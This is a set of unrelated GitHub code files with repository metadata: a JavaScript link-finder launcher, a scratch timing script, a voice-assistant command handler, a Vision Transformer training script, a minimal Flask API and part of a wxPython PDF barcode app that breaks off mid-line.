print(htmls)\n        return htmls\n# 解析线程池\ndef thread_pool_deelData(relative,htmls):\n    with concurrent.futures.ThreadPoolExecutor() as pool:\n        futures = {}\n        datas=[]\n        for url, html in htmls:\n            future = pool.submit(relative.find_by_url, url,html)\n            futures[future] = url\n        # 输出结果\n        for future, url in futures.items():\n            try:\n                datas.append(url)\n                datas.append(future.result())\n                jsfinder.giveresult(future.result(),url)\n            except:\n                print(\"Fail to access：\"+url)\n        return datas\n\ndef  file_open(file_path):\n    with open(file_path, \"r\") as fobject:\n        links = fobject.read().split(\"\\n\")\n    if links == []: return None\n    print(\"ALL Find \" + str(len(links)) + \" links\")\n    return links\n\nif __name__ == '__main__':\n    urllib3.disable_warnings()\n    args = parse_args()\n    urls = []\n    if args.file != None:\n        urls = file_open(args.file)\n    elif args.url != None:\n        urls.append(args.url)\n    else:\n        print(\"[-]error：At least one URL is required！\\n[-]Multiple URLs, please use the parameter -f\")\n        exit()\n    print(urls)\n    jsfinder = JSfinder.JSfinder(cookie=args.cookie,html=args.html_thread)\n    htmls = thread_pool_askUrl(jsfinder,urls)\n    report_html = thread_pool_deelData(jsfinder,htmls)\n    if args.html_thread != None:\n        jsfinder.html_report(report_html)\n    else:\n        print(\"[+]-html can also generate HTML reports！\")\n\n", "repo_name": "tpt11fb/Tools", "sub_path": "JSfinder/start.py", "file_name": "start.py", "file_ext": "py", "file_size_in_byte": 2821, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 26, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 26, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 26, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 36, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 36, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 36, "usage_type": "name"}, {"api_name": "urllib3.disable_warnings", "line_number": 60, "usage_type": "call"}, {"api_name": "JSfinder.JSfinder", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "33606928066", "text": "#elapsed time\nimport time\nfrom func import *\n\n\nstart = time.perf_counter()\nprint(\"hello\" + str(start))\nend = time.perf_counter()\nelapsed = end - start\nprint(elapsed)\n\nimport winsound\ngoodSound = \"good.wav\"\nwinsound.PlaySound(\"bad.wav\", winsound.SND_FILENAME)\nwinsound.PlaySound(goodSound, winsound.SND_FILENAME)\n\nimport json\nwith open(\"test.json\", 'a') as f:\n    f.write(json.dumps(\"Hello*\", indent=4))\n\nimport csv\n\nrow = ['4', ' Danny', ' New York']\n\nwith open('test.csv', 'a') as csvFile:\n    writer = csv.writer(csvFile)\n    writer.writerow(row)\n\ncsvFile.close()\n\nimport csv\n \nmyData = [[\"first_name\", \"second_name\", \"Grade\"],\n          ['Alex', 'Brian', 'A'],\n          ['Tom', 'Smith', 'B']]\nprint(myData)\n\nmyFile = open('test.csv', 'a')\nwith myFile:\n    writer = csv.writer(myFile)\n    writer.writerows(myData)\n     \nprint(\"Writing complete\")\nmyFile.close()\n\n#print(\"random :\" + str(random.randint(0,20)))\n\n# Test selection\nmonDico = [\"Ilya\", \"Tilio\"]\nvaleurChoisie = choisirElement(monDico)\nprint(\"Valeur choisie: \" +str(valeurChoisie))", "repo_name": "Iyaka25747/apprendreMath", "sub_path": "toDelete.py", "file_name": "toDelete.py", "file_ext": "py", "file_size_in_byte": 1043, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.perf_counter", "line_number": 6, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 8, "usage_type": "call"}, {"api_name": "winsound.PlaySound", "line_number": 14, "usage_type": "call"}, {"api_name": "winsound.SND_FILENAME", "line_number": 14, "usage_type": "attribute"}, {"api_name": "winsound.PlaySound", "line_number": 15, "usage_type": "call"}, {"api_name": "winsound.SND_FILENAME", "line_number": 15, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 19, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 26, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "9801894033", "text": "# Librerias necesarias\nimport datetime\nimport os\nimport subprocess\nimport webbrowser\nfrom signal import SIGTERM\nimport pywhatkit as pywhatkit\nimport wmi as wmi\n#import openai\nimport ctypes\nfrom gevent import subprocess\nimport cv2\nimport mediapipe as mp\n\n# Importar clases\nfrom Clases.Speechmodule import SpeechModule\nfrom Clases.VoiceRecognitionModule import VoiceRecognitionModule\n\n# Variables de uso\nusu=\"seicros\"\nno=\"Funcion en desarrollo\"\nname = \"limbo\"\nname1=\"L1MB0\"\nname0=\"Limbo\"\n\nrecognition = VoiceRecognitionModule()\nspeech = SpeechModule()\n\ndef convertir(text):\n    return text.lower()\n\n# Funcion central\nclass ComandosI:\n    def __int__(self,text):\n        self.text=text\n\n    def comando(self,text,index,times):\n        text = text.replace(name + \" \", \"\")\n        text=convertir(text)\n\n        if  \"ejecuta\" in text:\n            if \"deteccion\" in text:\n                ComandosO.ejecuta_deteccion()\n            else:\n                print(\"Error de ejecucion\")\n\n        elif  \"busca\" in text:\n            ComandosO.busca()\n\n        elif \"hora\" in text:\n            ComandosO.hora()\n\n        elif \"reproduce\" in text :\n            ComandosO.reproduce(text)\n\n        elif \"pausa\" in text or \"despausa\" in text:\n            ComandosO.pausa_volumen(0xB3)\n\n        elif \"volumen\" in text or \"Volumen\" in text:\n            if \"subir\" in text or \"aumenta\" in text :\n                ComandosO.subir_volumen()\n            elif \"bajar\" in text or \"reduce\" in text :\n                ComandosO.bajar_volumen()\n\n        elif \"muestrame\" in text :\n            ComandosO.muestrame(text)\n\n        elif \"cierra\" in text :\n            ComandosO.cierre(text)\n\n        elif \"apaga\" in text:\n            ComandosO.apagado()\n\n        else:\n            print(\"*\" + name1 + \" No reconocio ningun comando\")\n            speech.talk(\"Error de comando\")\n\n\"\"\"def chatBot(text):#Por ahora no lo voy a usar\n\n\n    # Petición de respuesta a OpenAI GPT-3\n    response = openai.Completion.create(\n        engine=\"text-davinci-002\",\n        prompt= previous_context+text,\n        max_tokens=1024,\n        n=1,\n        stop=None,\n        temperature=0.8,\n    )\n\n    # Imprimir respuesta\n    speech.talk(response[\"choices\"][0][\"text\"])\"\"\"\n\nclass ComandosO:\n\n    def ejecuta_deteccion():\n        mp_drawing = mp.solutions.drawing_utils\n        mp_pose = mp.solutions.pose\n        # cap = cv2.VideoCapture(\"video_0002.mp4\")\n        cap = cv2.VideoCapture(1, cv2.CAP_DSHOW)\n        with mp_pose.Pose(\n                static_image_mode=False) as pose:\n            while True:\n                ret, frame = cap.read()\n                if ret == False:\n                    break\n                frame = cv2.flip(frame, 1)\n                height, width, _ = frame.shape\n                frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n                results = pose.process(frame_rgb)\n                if results.pose_landmarks is not None:\n                    mp_drawing.draw_landmarks(\n                        frame, results.pose_landmarks, mp_pose.POSE_CONNECTIONS,\n                        mp_drawing.DrawingSpec(color=(128, 0, 250), thickness=2, circle_radius=3),\n                        mp_drawing.DrawingSpec(color=(255, 255, 255), thickness=2))\n                cv2.imshow(\"Frame\", frame)\n                if cv2.waitKey(1) & 0xFF == 27:\n                    break\n        cap.release()\n        cv2.destroyAllWindows()\n\n    def busca(text):\n        bus = text.replace(\"busca\" + \"\", \"\")\n        print(\"*Realizando busquedad.\")\n        webbrowser.open(\"https://www.google.com/search?client=opera-gx&q=\" + bus)\n        speech.talk(\"Aqui estan los resultado de \" + bus + \" ,\" + usu)\n\n    def hora():\n        hora = datetime.datetime.now().strftime('%I:%M %p')\n        speech.talk(\"Son las \" + hora + \", \" + usu)\n        print(\"*Reloj: \" + hora)\n\n    def reproduce(text):\n        music = text.replace(\"reproduce\" + \"\", \"\")\n        speech.talk(\"Reproduciendo \")\n        pywhatkit.playonyt(music)\n\n    def pausa_volumen(key_code):\n        ctypes.windll.user32.keybd_event(key_code, 0, 0, 0)\n        ctypes.windll.user32.keybd_event(key_code, 0, 2, 0)\n\n    # Desarrollo\n    def subir_volumen():\n        speech.talk(no)\n\n    # Desarrollo\n    def bajar_volumen():\n        speech.talk(no)\n\n    # Desarrollo\n    def muestrame(text):\n        text = text.replace(\"muestrame\" + \"\", \"\")\n        if \"bonito\" in text or \"bonitas\" in text:\n            folder_path = r\"C:\\Users\\SeicrosS\\Desktop\\L 02.2\\Cosas_Bonitas\"\n            subprocess.Popen(f'explorer \"{folder_path}\"')\n\n    def apagado():\n        speech.talk(\"Apagando el ordenador\")\n        subprocess.run(\"shutdown -s\")\n\n    def cierre(text):\n        text = text.replace(\"cierra\" + \"\", \"\")\n        c = wmi.WMI()\n        text = text + \".exec\"\n        speech.talk(\"Buscando\")\n        for process in c.Win32_Process():\n            print(process.ProcessId, process.Name)\n            if process.Name in text:\n                speech.talk(\"Ejecutando cerrado de \" + text + \",\" + usu)\n                print(\"*Cerrando\", process.ProcessId, process.Name)\n                os.kill(process.ProcessId, SIGTERM)\n                return\n        speech.talk(\"no logre encontrar \" + text + \" entre procesos\")", "repo_name": "seicrosss/L-03-GUI", "sub_path": "Clases/InputComandos.py", "file_name": "InputComandos.py", "file_ext": "py", "file_size_in_byte": 5198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "Clases.VoiceRecognitionModule.VoiceRecognitionModule", "line_number": 26, "usage_type": "call"}, {"api_name": "Clases.Speechmodule.SpeechModule", "line_number": 27, "usage_type": "call"}, {"api_name": "mediapipe.solutions", "line_number": 97, "usage_type": "attribute"}, {"api_name": "mediapipe.solutions", "line_number": 98, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.CAP_DSHOW", "line_number": 100, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 120, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 125, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 129, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pywhatkit.playonyt", "line_number": 136, "usage_type": "call"}, {"api_name": "ctypes.windll.user32.keybd_event", "line_number": 139, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 139, "usage_type": "attribute"}, {"api_name": "ctypes.windll.user32.keybd_event", "line_number": 140, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 140, "usage_type": "attribute"}, {"api_name": "gevent.subprocess.Popen", "line_number": 155, "usage_type": "call"}, {"api_name": "gevent.subprocess", "line_number": 155, "usage_type": "name"}, {"api_name": "gevent.subprocess.run", "line_number": 159, "usage_type": "call"}, {"api_name": "gevent.subprocess", "line_number": 159, "usage_type": "name"}, {"api_name": "wmi.WMI", "line_number": 163, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 171, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 171, "usage_type": "argument"}]}
{"seq_id": "73226411145", "text": "#!/usr/bin/env python3\n\nimport os\nimport argparse\nimport yaml\nfrom types import SimpleNamespace\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport torchvision\nfrom torchvision.transforms import Compose, ToTensor, Resize\nfrom torch import optim\nimport numpy as np\nfrom torch.hub import tqdm\n\nimport torch.distributed as dist\nfrom torch.nn.parallel import DistributedDataParallel\nfrom torch.utils.data.distributed import DistributedSampler\n\nfrom model import ViT\n\n\nclass TrainEval:\n\n    def __init__(self, args, model, train_dataloader, train_sampler, val_dataloader, optimizer, criterion, device):\n        self.model = model\n        self.train_dataloader = train_dataloader\n        self.train_sampler = train_sampler\n        self.val_dataloader = val_dataloader\n        self.optimizer = optimizer\n        self.criterion = criterion\n        self.epoch = args.epochs\n        self.device = device\n        self.args = args\n\n    def train_fn(self, current_epoch):\n        self.model.train()\n        if self.args.dist:\n              self.train_sampler.set_epoch(current_epoch)\n        total_loss = 0.0\n\n        for t, data in enumerate(self.train_dataloader):\n            images, labels = data\n            images, labels = images.to(self.device), labels.to(self.device)\n            self.optimizer.zero_grad()\n            logits = self.model(images)\n            loss = self.criterion(logits, labels)\n            loss.backward()\n            self.optimizer.step()\n\n            if self.args.dist:\n                dist.all_reduce(loss)\n            total_loss += loss.item() / (1 if not self.args.dist else dist.get_world_size())\n            if not self.args.dist or dist.get_rank() == 0:\n                print(f\"Epoch {current_epoch + 1}/{self.epoch}, train step {t}: train loss {total_loss / (t + 1)}\")\n            if self.args.dry_run:\n                break\n\n        return total_loss / len(self.train_dataloader)\n\n    def eval_fn(self, current_epoch):\n        self.model.eval()\n        total_loss = 0.0\n\n        for t, data in enumerate(self.val_dataloader):\n            images, labels = data\n            images, labels = images.to(self.device), labels.to(self.device)\n\n            logits = self.model(images)\n            loss = self.criterion(logits, labels)\n\n            if self.args.dist:\n                dist.all_reduce(loss)\n            total_loss += loss.item() / (1 if not self.args.dist else dist.get_world_size())\n            if self.args.dry_run:\n                break\n\n        if not self.args.dist or dist.get_rank() == 0:\n            print(f\"Epoch {current_epoch + 1}/{self.epoch}: valid loss {total_loss / (t + 1)}\")\n\n        return total_loss / len(self.val_dataloader)\n\n    def train(self):\n        best_valid_loss = np.inf\n        best_train_loss = np.inf\n        for i in range(self.epoch):\n            train_loss = self.train_fn(i)\n            val_loss = self.eval_fn(i)\n\n            if val_loss < best_valid_loss:\n                if not self.args.dist or dist.get_rank() == 0:\n                    torch.save(self.model.state_dict()\n                               if not self.args.dist else\n                               self.model.module.state_dict(),\n                               os.path.join(self.args.training_output, \"best-weights.pt\"))\n                    print(\"Saved Best Weights\")\n                best_valid_loss = val_loss\n                best_train_loss = train_loss\n        print(f\"Training Loss : {best_train_loss}\")\n        print(f\"Valid Loss : {best_valid_loss}\")\n\n    '''\n        On default settings:\n        \n        Training Loss : 2.3081023390197752\n        Valid Loss : 2.302861615943909\n        \n        However, this score is not competitive compared to the \n        high results in the original paper, which were achieved \n        through pre-training on JFT-300M dataset, then fine-tuning \n        it on the target dataset. To improve the model quality \n        without pre-training, we could try training for more epochs, \n        using more Transformer layers, resizing images or changing \n        patch size,\n    '''\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Vision Transformer in PyTorch')\n\n    parser.add_argument('--training-input', type=str,\n                        help='Path to CIFAR10 training data')\n    parser.add_argument('--test-input', type=str,\n                        help='Path to CIFAR10 test data')\n    parser.add_argument('--config', type=str,\n                        help='YAML file with model and training hyperparameters')\n    parser.add_argument('--training-output', type=str,\n                        help='Path to save trained model to')\n\n    parser.add_argument('--no-cuda', action='store_true', default=False,\n                        help='disables CUDA training')\n    parser.add_argument('--dry-run', action='store_true', default=False,\n                        help='quickly check a single pass')\n    parser.add_argument('--dist', action='store_true', default=False,\n                        help='enables distributed training')\n\n    args = parser.parse_args()\n\n    with open(args.config) as f:\n        config = yaml.load(f, Loader=yaml.FullLoader)\n\n    if args.dist:\n        dist.init_process_group(backend='nccl', init_method='env://')\n        world_rank = dist.get_rank()\n        world_size = dist.get_world_size()\n        if config['global_batch_size'] % world_size != 0:\n            raise RuntimeError(f\"Batch size ({config['global_batch_size']}) must be a multiple of number of processes ({world_size}).\")\n        config['batch_size'] = config['global_batch_size']//world_size\n    else:\n        config['batch_size'] = config['global_batch_size']\n\n    config.update(vars(args))\n    config = SimpleNamespace(**config)\n\n    use_cuda = not config.no_cuda and torch.cuda.is_available()\n    device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n    transforms = Compose([\n        Resize((config.img_size, config.img_size)),\n        ToTensor()\n    ])\n    train_data = torchvision.datasets.CIFAR10(root=config.training_input, train=True, download=False, transform=transforms)\n    valid_data = torchvision.datasets.CIFAR10(root=config.test_input, train=False, download=False, transform=transforms)\n    if config.dist:\n        train_sampler = DistributedSampler(train_data, num_replicas=world_size, rank=world_rank)\n        valid_sampler = DistributedSampler(valid_data, num_replicas=world_size, rank=world_rank)\n        train_loader = DataLoader(train_data, batch_size=config.batch_size, sampler=train_sampler)\n        valid_loader = DataLoader(valid_data, batch_size=config.batch_size, sampler=valid_sampler)\n    else:\n        train_loader = DataLoader(train_data, batch_size=config.batch_size, shuffle=True)\n        valid_loader = DataLoader(valid_data, batch_size=config.batch_size, shuffle=True)\n\n    model = ViT(config).to(device)\n    if args.dist:\n        model = DistributedDataParallel(model,\n                                        device_ids=[int(os.environ['LOCAL_RANK'])],\n                                        output_device=[int(os.environ['LOCAL_RANK'])],\n                                        find_unused_parameters=True)\n\n    optimizer = optim.Adam(model.parameters(), lr=config.lr, weight_decay=config.weight_decay)\n    criterion = nn.CrossEntropyLoss()\n\n    TrainEval(config, model, train_loader, train_sampler if args.dist else None, valid_loader, optimizer, criterion, device).train()\n\n    if args.dist:\n        dist.destroy_process_group()\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "eth-cscs/SDSC-user-onboarding", "sub_path": "sarus/vit_ex/training.py", "file_name": "training.py", "file_ext": "py", "file_size_in_byte": 7518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.distributed.all_reduce", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.distributed.get_world_size", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.distributed.get_rank", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.distributed.all_reduce", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.distributed.get_world_size", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.distributed.get_rank", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 78, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_rank", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 119, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 140, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.distributed.init_process_group", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 143, "usage_type": "name"}, {"api_name": "torch.distributed.get_rank", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 144, "usage_type": "name"}, {"api_name": "torch.distributed.get_world_size", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 145, "usage_type": "name"}, {"api_name": "types.SimpleNamespace", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 155, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 156, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 158, "usage_type": "call"}, {"api_name": "torchvision.transforms.Resize", "line_number": 159, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 160, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 162, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 162, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 163, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 163, "usage_type": "attribute"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 171, "usage_type": "call"}, {"api_name": "model.ViT", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 175, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 176, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 177, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 180, "usage_type": "name"}, {"api_name": "model.parameters", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 181, "usage_type": "name"}, {"api_name": "torch.distributed.destroy_process_group", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 186, "usage_type": "name"}]}
{"seq_id": "9505856845", "text": "# Simple Flask server to test API calls\nfrom flask import Flask, request, jsonify\n\napp = Flask(__name__)\n\n# setup routes for Flask server\n\n\n@app.route('/')\ndef home():\n    return 'Hello Home!'\n\n\n@app.route('/get-user/<user_id>')\ndef get_user(user_id):\n    user_data = {\n        \"user_id\": user_id,\n        \"name\": \"John Doe\",\n        \"email\": \"john.doe@example.com\"\n    }\n\n    extra = request.args.get('extra')\n    if (extra):\n        user_data[\"extra\"] = extra\n\n    return jsonify(user_data), 200  # 200 is the status code for OK\n\n\n@app.route('/get-user', methods=['POST'])\ndef create_user():\n    data = request.get_json()\n    return jsonify(data), 201  # 201 is the status code for CREATED\n\n\n# setup Flask server\nif __name__ == '__main__':\n    app.run(debug=True)\n", "repo_name": "Susmita-Dey/Flasky", "sub_path": "flask-api/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "32494672335", "text": "# -*- coding: UTF-8 -*-\nimport fitz\nimport gettext\nimport wx\nfrom pyzbar import pyzbar\nfrom pdf2image import convert_from_path\nfrom os.path import join\nfrom shutil import move, copyfile\nimport tempfile\nimport cv2\nimport re\nfrom datetime import datetime\nfrom pathlib import Path\nimport configparser\nimport threading\n\nconfig = configparser.ConfigParser()\n\nconf_file = Path('config.ini')\nif conf_file.exists():\n\tconfig.read('config.ini')\nelse:\n\tconfig.add_section(\"default\")\n\tconfig.set(\"default\", \"input_folder\", \"pdf\")\n\tconfig.set(\"default\", \"output_folder\", \"pdf\\\\output\")\n\tconfig.set(\"default\", \"regex\", \"^0[3,0][0,6,9]\\\\d+$\")\n\tconfig.set(\"default\", \"wait\", 'False')\n\tconfig.set(\"default\", \"poppler_path\", 'poppler_21_03_0')\n\tconfig.set(\"default\", \"tumb_folder\", '~\\\\Pictures')\n\tconfig.set(\"default\", \"language\", 'he')\n\tconfig_file = open(\"config.ini\", 'w')\n\tconfig.write(config_file)\n\tconfig_file.close()\n\tconfig.read('config.ini')\n\nconfig = config['default']\n\npoppler_path = config.get('poppler_path')\n\n# end wxGlade\n\n\nclass MainFrame(wx.Frame):\n\tdef __init__(self, *args, **kwds):\n\t\t# begin wxGlade: MainFrame.__init__\n\t\t\n\t\the = gettext.translation('pdf_barcode', localedir='locale', languages=[config.get('language')])\n\t\the.install()\n\t\t\n\t\tself.preview_image_size = (400, 500)\n\t\tself.preview_image_path = \"\"\n\t\tkwds[\"style\"] = kwds.get(\"style\", 0) | wx.DEFAULT_FRAME_STYLE | wx.FULL_REPAINT_ON_RESIZE\n\t\twx.Frame.__init__(self, *args, **kwds)\n\t\tself.SetTitle(_(\"PdfBarcode\"))\n\t\t_icon = wx.NullIcon\n\t\t_icon.CopyFromBitmap(wx.Bitmap(\"icons\\PdfBarcode.png\", wx.BITMAP_TYPE_ANY))\n\t\tself.SetIcon(_icon)\n\t\t\n\t\t# Menu Bar\n\t\tself.menubar = wx.MenuBar()\n\t\twxglade_tmp_menu = wx.Menu()\n\t\tself.menubar.Append(wxglade_tmp_menu, _(\"File\"))\n\t\tself.SetMenuBar(self.menubar)\n\t\t# Menu Bar end\n\t\t\n\t\tself.sizer_1 = wx.GridBagSizer(1, 1)\n\t\tself.sizer_1.SetMinSize(700, 600)\n\t\t\n\t\tself.splitter_window = wx.SplitterWindow(self, wx.ID_ANY, style=wx.SP_3DBORDER | wx.SP_LIVE_UPDATE | wx.SP_PERMIT_UNSPLIT)\n\t\tself.splitter_window.SetMinimumPaneSize(400)\n\t\tself.splitter_window.SetSashGravity(0.5)\n\t\tself.sizer_1.Add(self.splitter_window, (0, 0), (1, 1), wx.EXPAND, 0)\n\t\t\n\t\tself.preview_pane = wx.ScrolledWindow(self.splitter_window, wx.ID_ANY, style=wx.TAB_TRAVERSAL)\n\t\tself.preview_pane.SetScrollRate(10, 10)\n\t\tself.preview_pane.SetSize((400, 800))\n\t\thbox_preview = wx.FlexGridSizer(1, 1, 0, 0)\n\t\t\n\t\tself.bmp = wx.Bitmap(self.preview_image_size, 2)\n\t\tself.image_preview = wx.StaticBitmap(self.preview_pane, wx.ID_ANY, wx.Bitmap(self.bmp))\n\t\thbox_preview.Add(self.image_preview, 0, wx.ALL | wx.EXPAND, 10)\n\t\t\n\t\tself.recognition_pane = wx.Panel(self.splitter_window, wx.ID_ANY)\n\t\t\n\t\tvbox_recognition = wx.BoxSizer(wx.VERTICAL)\n\t\t\n\t\tvbox_start = wx.BoxSizer(wx.VERTICAL)\n\t\tvbox_recognition.Add(vbox_start, 0, wx.EXPAND, 0)\n\t\t\n\t\tself.start_btn = wx.Button(self.recognition_pane, wx.ID_ANY, _(\"Start Recognition\"))\n\t\tself.start_btn.SetMinSize((195, 40))\n\t\tself.start_btn.SetBackgroundColour(wx.Colour(132, 203, 255))\n\t\tself.start_btn.SetForegroundColour(wx.Colour(0, 0, 0))\n\t\tself.start_btn.SetFont(wx.Font(12, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, 0, \"\"))\n\t\tself.start_btn.SetFocus()\n\t\tvbox_start.Add(self.start_btn, 0, wx.ALIGN_CENTER_HORIZONTAL | wx.ALL, 5)\n\t\t\n\t\tself.progress_gauge = wx.Gauge(self.recognition_pane, wx.ID_ANY, 100, style=0)\n\t\tvbox_start.Add(self.progress_gauge, 0, wx.ALL | wx.EXPAND, 5)\n\t\t\n\t\thbox_lists = wx.BoxSizer(wx.HORIZONTAL)\n\t\tvbox_recognition.Add(hbox_lists, 1, wx.ALL | wx.EXPAND, 5)\n\t\t\n\t\tself.list_not_recognized = wx.ListCtrl(self.recognition_pane, wx.ID_ANY, style=wx.FULL_REPAINT_ON_RESIZE | wx.LC_HRULES | wx.LC_REPORT | wx.LC_VRULES)\n\t\tself.list_not_recognized.SetBackgroundColour(wx.Colour(255, 201, 205))\n\t\tself.list_not_recognized.AppendColumn(_(\"Not Recognized\"), format=wx.LIST_FORMAT_LEFT, width=200)\n\t\thbox_lists.Add(self.list_not_recognized, 1, wx.ALL | wx.EXPAND, 5)\n\t\t\n\t\tself.list_recognized = wx.ListCtrl(self.recognition_pane, wx.ID_ANY, style=wx.LC_HRULES | wx.LC_REPORT | wx.LC_VRULES)\n\t\tself.list_recognized.SetBackgroundColour(wx.Colour(196, 255, 216))\n\t\tself.list_recognized.AppendColumn(_(\"Recognized\"), format=wx.LIST_FORMAT_LEFT, width=200)\n\t\thbox_lists.Add(self.list_recognized, 1, wx.ALL | wx.EXPAND, 5)\n\t\t\n\t\tself.list_selection = wx.ListCtrl(self.recognition_pane, wx.ID_ANY, style=wx.LC_HRULES | wx.LC_REPORT | wx.LC_VRULES)\n\t\tself.list_selection.AppendColumn(_(\"Selected\"), format=wx.LIST_FORMAT_LEFT, width=400)\n\t\tvbox_recognition.Add(self.list_selection, 1, wx.ALL | wx.EXPAND, 10)\n\t\t\n\t\thbox_save = wx.BoxSizer(wx.HORIZONTAL)\n\t\tvbox_recognition.Add(hbox_save, 0, wx.ALL | wx.EXPAND, 10)\n\t\t\n\t\tself.txt_name = wx.TextCtrl(self.recognition_pane, wx.ID_ANY, \"\")\n\t\thbox_save.Add(self.txt_name, 3, wx.ALIGN_BOTTOM | wx.ALL, 